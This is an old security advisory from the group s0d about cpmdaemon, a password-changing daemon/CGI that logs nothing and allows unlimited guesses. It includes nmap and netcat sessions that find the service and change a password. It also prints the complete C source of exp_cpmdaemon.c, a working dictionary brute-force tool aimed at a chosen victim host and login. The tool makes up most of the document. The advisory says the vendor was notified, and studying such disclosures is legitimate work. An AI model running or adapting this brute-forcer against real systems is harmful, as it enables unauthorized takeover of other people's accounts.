cpmdaemon is a program that runs as a daemon or a cgi which allows changing of passwords. It allows brute force dictionary attacks against user passwords without any logging. Includes exp_cpmdaemon.c proof of concept code.
3483de64828caecd47ac6a0791f690c8028feb0bc3131f6bcd8c612b01b7ba04
/*
----------------------------------
cpmdaemon password changer script
----------------------------------
This is a s0d advisory ... Wellcome to our world.
You can find this advisory on www.s0d.org on the advisories section.
Author:
+ Enrique Alfonso Sanchez Montellano (El Nahual)
Shouts:
+ 0x90, Am3ntiA, LoneWolf, int27h, in0m and the rest of tha s0d crew.
+ ADM
+ l0pht
+ Ag3nt 0nd
+ Raza Mexicana
Comments:
+ "knock knock Neo?!? ... Doesn't it sound kinda corny?"
URL:
h t t p : / / w w w . s 0 d . o r g
*/
INTRODUCTION
------------
cpmdaemon is a program that runs as a daemon or a cgi (altho daemon is
recomended on the README file), allowing the change of passwords, some
accounts have been restricted by the program so no unauthorized access
can be gained ro priviledged accounts (root, bin, daemon, adm, sql, lp,
sync, shutdown, halt, mail, news, uucp, operator, games, gopher, ftp,
nobody, xfs,samba, gdm, postgres, squid). Is a fast and very articulate
program. Must be suid with owner and group root. It can be called as a
cgi, calling the cgi then connecting to the port already defined.
The way to change the password is login:oldpasswd*newpassword#
VULNERABILITIES
---------------
cpmdaemon has ben coded and in the readme file favors the daemon calling
of the program so you can also connect and then change the password.
cpmdaemon has no logging at all, is true that only localhost is able to
change passwords by default, but being a remote password administration
shurely more hosts will be added (trusted hosts), anyway even if
localhost is only implemented local users can start de daemon and do
abrute force on any other user account. If runned from within the host
(/var/lib/apache/cgi-bin/cpmdaemon.cgi on slackware for example) it
becomes a true daemon (actually this is recommended by the README file
by adding it on the rc.local file). If its called as a cgi then should
be suid root wich is not safe at all but at least only lets one try at
the time.
There is no defined port for the application but finding it is trivial:
nahual:~/projects/Check/Vulnerable/cpmdaemon# nmap -sS -p 1-9000
localhost
Starting nmap V. 2.3BETA12 by Fyodor (fyodor@dhp.com,
www.insecure.org/nmap/)
Interesting ports on localhost (127.0.0.1):
Port State Protocol Service
21 open tcp ftp
22 open tcp ssh
23 open tcp telnet
25 open tcp smtp
37 open tcp time
79 open tcp finger
80 open tcp http
110 open tcp pop-3
111 open tcp sunrpc
113 open tcp auth
515 open tcp printer
712 open tcp unknown
2049 open tcp nfs
6000 open tcp X11
8080 open tcp http-proxy
Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds
nahual:~/projects/Check/Vulnerable/cpmdaemon# nc -vv localhost 80
localhost [127.0.0.1] 80 (www) open
GET /cgi-bin/cpmdaemon.cgi HTTP/1.0
sent 37, rcvd 0
nahual:~/projects/Check/Vulnerable/cpmdaemon# nmap -sS -p 1-9000
localhost
Starting nmap V. 2.3BETA12 by Fyodor (fyodor@dhp.com,
www.insecure.org/nmap/)
Interesting ports on localhost (127.0.0.1):
Port State Protocol Service
21 open tcp ftp
22 open tcp ssh
23 open tcp telnet
25 open tcp smtp
37 open tcp time
79 open tcp finger
80 open tcp http
110 open tcp pop-3
111 open tcp sunrpc
113 open tcp auth
515 open tcp printer
712 open tcp unknown
2049 open tcp nfs
6000 open tcp X11
8080 open tcp http-proxy
8088 open tcp unknown
Nmap run completed -- 1 IP address (1 host up) scanned in 10 seconds
nahual:~/projects/Check/Vulnerable/cpmdaemon# nc -vv localhost 8088
localhost [127.0.0.1] 8088 (?) open
CPM Daemon Manager
sent 0, rcvd 19
nahual:~/projects/Check/Vulnerable/cpmdaemon#
Anyway we can see how the port 8088 wasn't there before calling the cgi
so we can assume that is the port the daemon has been defined to run,
also it has a very distinctive banner: "CPM Daemon Manager", same
password as before is also allowed so true bruteforcing can be done
stealthly:
nahual:~# nc -vv localhost 8088
localhost [127.0.0.1] 8088 (?) open
CPM Daemon Manager
nahual:notmypasswd*notmypasswd#
Password Changed
sent 32, rcvd 36
nahual:~# telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
### ###
## ##
#### ## #### #### ## ### ### ### #### ### ###
####
## ## ## ## ## ## ## ## ## ## ### ##
## ##
### ## ##### ## #### ## #### ## ##### ##
######
## ## ## ## ## ## ## ### ### ## ## ## ##
| #### #### ###### #### ### ### ## ## ###### ##
#####
|
+------------------------------------------ l i n u x
nahual login: nahual
Password:
Linux 2.2.13.
No mail.
Any philosophy that can be put in a nutshell belongs there.
-- Sydney J. Harris
nahual:~$
PROOF OF CONCEPT CODE
---------------------
Proof of concept code can be also found in www.s0d.org section of our
programs and on advisories:
-- exp_cpmdaemon.c --
/*
exp_cpmdaemon.c
-----------------------
BY COMPILING THIS PROGRAM YOU HEREBY DECLINE ALL LEGAL AND CIVIL
RESPONSABILITY TO THE AUTHOR(S), IF YOU DO NOT COMPLY WITH THIS YOU ARE
HEREBY BINDED TO SECURELY ERASE THIS SOURCE.
THIS PROGRAM IS PROOF OF CONCEPT AND FOR EDUCATIONAL PURPOSES ONLY.
-----------------------
Description:
Program to bruteforce passwords on this little daemon ...
Compile with:
gcc -Wall -o exp-cpmdaemon exp-cpmdaemon.c
or if you want debug gcc:
gcc -Wall -DDEBUG -o exp-cpmdaemon exp-cpmdaemon.c
Authors:
El Nahual
"int main(void) { write(1, "Tha s0d owns me biatch!", 23); return 0;
}"
0x90
"The louder the music the better the code!"
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <time.h>
#include <wait.h>
#include <errno.h>
#define GOTIT "Changed"
#define KEEPTRYING "Invalid"
/* Definicion de colores */
#define VERDE "\E[32m"
#define BRILLOSO "\E[1m"
#define NORMAL "\E[m"
#define ROJO "\E[31m"
#define CELESTE "\E[36m"
#define AZUL "\E[34m"
#define AMARILLO "\E[33m"
#define MORADO "\E[35m"
void usage(char *nombre) {
printf("%sUsage: %s%s -[dc] -p <port> -l <login> -h <vicitm> \n",
ROJO, AMARILLO,nombre);
printf("%sd:Daemon mode \n", CELESTE);
printf("l: login name to bruteforce\n");
printf("h: host to attack \n");
printf("c: cgi mode %s\n", NORMAL);
printf("%s.o0{ Passwords should in a file called passwds.s0d
}0o.%s\n", AMARILLO, NORMAL);
}
unsigned long resolver (char *serv) {
struct sockaddr_in sinn;
struct hostent *hent;
hent = gethostbyname (serv);
bzero ((char *) &sinn, sizeof (sinn));
memcpy ((char *) &sinn.sin_addr, hent->h_addr, hent->h_length);
return sinn.sin_addr.s_addr;
}
int connex(int victim, int port) {
int sockfd;
struct sockaddr_in hostaddr;
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("connex");
exit(-1);
}
hostaddr.sin_port = htons(port);
hostaddr.sin_addr.s_addr = victim;
hostaddr.sin_family = AF_INET;
if((connect(sockfd, (struct sockaddr *) &hostaddr, sizeof(hostaddr)))
< 0 ) {
perror("connex");
exit(-1);
}
return sockfd;
}
/*
The difference between the daemon and the cgi is the calling of the
cgi everytime
*/
int daemon_attack(int victim, char *login, char *passwd, int port) {
int sockfd, retval, i;
fd_set rfds;
struct timeval timer;
char attack[1024], tmp[255];
for(i = 0; i < 1024; i++)
attack[i] = '\0';
for(i = 0; i < 255; i++)
tmp[i] = '\0';
/* Ensambling attack */
strcat(attack, login);
strcat(attack, ":");
strcat(attack, passwd);
strcat(attack, "*");
strcat(attack, passwd);
strcat(attack, "#");
strcat(attack, "\n");
#ifdef DEBUG
printf("Trying login %s with password %s \n", login, passwd);
#endif
sockfd = connex(victim, port);
FD_ZERO(&rfds);
FD_SET(sockfd, &rfds);
timer.tv_sec = 5;
timer.tv_usec = 0;
retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);
if(retval) {
read(sockfd, tmp, sizeof(tmp));
if(strncmp(tmp, "CPM Daemon Manager", 18) == 0) {
write(sockfd, attack, strlen(attack));
read(sockfd, tmp, sizeof(tmp));
if(strstr(tmp, "Changed") != NULL) {
printf("\t%s----------------------------------------\n", VERDE);
printf("\t%sUser %s%s%s has passwd %s%s%s %s\n", VERDE, CELESTE, login,
VERDE, CELESTE, passwd, VERDE, NORMAL);
printf("\t%sTha s0d crew owns you biatch!!!!!!%s\n", VERDE, NORMAL);
printf("\t%s----------------------------------------%s\n", VERDE,
NORMAL);
return 0;
}
else {
#ifdef DEBUG
printf("%s\n", tmp);
#endif
return 1;
}
}
else {
printf("Doh! this is not the CPM Daemon manager!\n");
exit(0);
}
}
else {
printf("Timeout! \n");
exit(0);
}
return 0;
}
int cgi_attack(int victim, char *login, char *passwd, int port) {
char call_cgi[255] = "GET /cgi-bin/cpmdaemon.cgi HTTP/1.0 \r\n\r\n";
int sockfd, retval, i;
fd_set rfds;
struct timeval timer;
char attack[1024], tmp[255];
for(i = 0; i < 1024; i++)
attack[i] = '\0';
for(i = 0; i < 255; i++)
tmp[i] = '\0';
/* Ensambling attack */
strcat(attack, login);
strcat(attack, ":");
strcat(attack, passwd);
strcat(attack, "*");
strcat(attack, passwd);
strcat(attack, "#");
strcat(attack, "\n");
#ifdef DEBUG
printf("attack's value is: %s \n", attack);
#endif
/* calling the cgi */
sockfd = connex(victim, 80);
FD_ZERO(&rfds);
FD_SET(sockfd, &rfds);
timer.tv_sec = 5;
timer.tv_usec = 0;
retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);
if(retval) {
#ifdef DEBUG
printf("calling the cgi with %s", call_cgi);
#endif
write(sockfd, call_cgi, strlen(call_cgi));
}
else {
printf("TIMEOUT!\n");
exit(-1);
}
close(sockfd);
/* doing the attack on the pseudodaemon */
#ifdef DEBUG
printf("Connecting with login %s and passwd %s \n", login, passwd);
#endif
sockfd = connex(victim, port);
FD_ZERO(&rfds);
FD_SET(sockfd, &rfds);
timer.tv_sec = 5;
timer.tv_usec = 0;
retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);
if(retval) {
read(sockfd, tmp, sizeof(tmp));
if(strncmp(tmp, "CPM Daemon Manager", 18) == 0) {
write(sockfd, attack, strlen(attack));
read(sockfd, tmp, sizeof(tmp));
if(strstr(tmp, "Changed") != NULL) {
printf("%sUser %s has passwd %s %s\n", CELESTE, login, passwd, NORMAL);
return 0;
}
else {
#ifdef DEBUG
printf("%s\n", tmp);
#endif
return 1;
}
}
else {
printf("Doh! this is not the CPM Daemon manager!\n");
exit(0);
}
}
else {
printf("Timeout! \n");
exit(0);
}
return 0;
}
void header(void) {
printf("%s\t\t\texp_cpmdaemon\n", ROJO);
printf("\t----------------------------------------------\n");
printf("%s\t by El Nahual and 0x90 of tha s0d crew\n", AMARILLO);
printf("\t\ts0d crew owns you biatch!\n");
printf("%s\t----------------------------------------------%s\n\n",
ROJO, NORMAL);
}
int main(int argc, char **argv) {
char ch;
int counter = 1, port, i;
char *login, *server, tmp[255];
char daemon = 0; //Daemon enabled by default
FILE *inFile;
if(argc != 8) {
usage(argv[0]);
exit(0);
}
for(i = 0; i < 255; i++)
tmp[255] = '\0';
while((ch = getopt(argc, argv, "h:,l:,dc,p:")) != EOF) {
counter++;
switch(ch) {
case 'h':
server = argv[counter + 1];
break;
case 'l':
login = argv[counter];
break;
case 'd':
daemon = 0;
break;
case 'c':
daemon = 1;
break;
case 'p':
port = atoi(argv[counter + 2]);
break;
default:
usage(argv[0]);
exit(0);
break;
}
}
header();
if((inFile = fopen("passwds.s0d", "r")) == NULL) {
perror("exp_cpmdaemon.c");
exit(-1);
}
(void)fseek(inFile, 0, SEEK_SET);
while(fgets(tmp, 255, inFile) != NULL) {
if(tmp[strlen(tmp) - 1] == '\n')
tmp[strlen(tmp) - 1] = '\0';
if(daemon == 0) {
daemon_attack(resolver(server), login, tmp, port);
}
else {
cgi_attack(resolver(server), login, tmp, port);
}
}
return 0;
}
-- exp_cpmdaemon.c --
AUTHOR
------
Richard P. Thomas (cyberlot@cyberlot.net) has been contacted. And kudos
for him for being cool on fixes and taking all we said on account. =)
THANK YOU
---------
+ My Wife Blanca for putting with my computer addiction. };-P
+ All people who put with my shit and bad coding.
+ All great persons who have answered my questions, even the stupid
ones.
+ Am3ntiA, damn bro too bad I had to move.